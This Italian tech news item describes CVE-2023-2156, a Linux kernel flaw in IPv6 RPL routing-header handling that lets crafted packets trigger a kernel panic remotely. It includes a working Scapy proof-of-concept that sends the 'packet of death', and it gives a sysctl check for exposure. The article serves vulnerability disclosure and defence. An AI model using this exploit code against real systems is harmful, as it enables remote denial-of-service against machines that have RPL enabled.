Vulnerabilità 0-day nello stack IPv6 di Linux che consente di far crashare il kernel da remoto.

Sono emerse informazioni riguardo a una vulnerabilità non corretta (0-day) (CVE-2023-2156) nel kernel Linux, che consente di fermare il sistema attraverso l'invio di pacchetti IPv6 appositamente formati (packet-of-death). Il problema si manifesta solo quando è attivato il supporto per il protocollo RPL (Routing Protocol for Low-Power and Lossy Networks), che è disattivato di default nelle distribuzioni e viene utilizzato principalmente su dispositivi embedded che operano in reti wireless con alta perdita di pacchetti.

La vulnerabilità è causata da un'errata gestione dei dati esterni nel codice di analisi del protocollo RPL, che porta all'attivazione di un errore assert e fa entrare il kernel in uno stato di panic. Quando i dati ottenuti dall'analisi dell'intestazione del pacchetto IPv6 RPL sono collocati nella struttura k_buff (Socket Buffer), se il campo CmprI è impostato su 15, il campo Segleft su 1 e CmprE su 0, un vettore di indirizzi lungo 48 byte viene espanso a 528 byte, creando una situazione in cui la memoria allocata per il buffer risulta insufficiente. In questo caso, nella funzione skb_push, utilizzata per inserire i dati nella struttura, scatta il controllo sulla sproporzione tra la dimensione dei dati e quella del buffer, generando uno stato di panic per prevenire la scrittura oltre il limite del buffer.

Esempio di exploit: # Utilizzeremo Scapy per creare il pacchetto from scapy.all import * import socket # Utilizza l'IPv6 della tua interfaccia LAN DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Usare i socket per inviare il pacchetto sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Crea il pacchetto # Type = 3 rende questo un pacchetto RPL # Gli indirizzi contengono 3 indirizzi, ma poiché CmprI è 15, # ogni ottetto dei primi due indirizzi è trattato come un indirizzo compresso # Segleft = 1 per attivare l'amplificazione # lastentry = 0xf0 imposta CmprI su 15 e CmprE su 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(type=3, addresses=["a8::", "a7::", "a6::"], segleft=1, lastentry=0xf0) # Invia questo pacchetto maligno sockfd.sendto(bytes(p), (DST_ADDR, 0))

È notevole che gli sviluppatori del kernel siano stati informati della vulnerabilità già nel gennaio 2022 e, nei 15 mesi successivi, abbiano tentato di risolvere il problema tre volte, rilasciando patch a settembre 2022, ottobre 2022 e aprile 2023, ma ogni volta le correzioni si sono rivelate insufficienti, riuscendo a riprodurre la vulnerabilità. Infine, il progetto ZDI, che coordinava i lavori per la risoluzione della vulnerabilità, ha deciso di rivelare i dettagli della vulnerabilità senza attendere una correzione funzionante nel kernel.

Pertanto, la vulnerabilità rimane ancora irrisolta. Anche la patch inclusa nel kernel 6.4-rc2 si è rivelata inefficace. Si consiglia agli utenti di verificare che il protocollo RPL non sia utilizzato nei loro sistemi, cosa che può essere effettuata con il comando sysctl -a | grep -i rpl_seg_enabled

Fonte: opennet.ru

Acquista un hosting affidabile per siti web con protezione DDoS, VPS VDS server 🔥 Acquista un hosting affidabile per siti web con protezione DDoS, VPS VDS server | ProHoster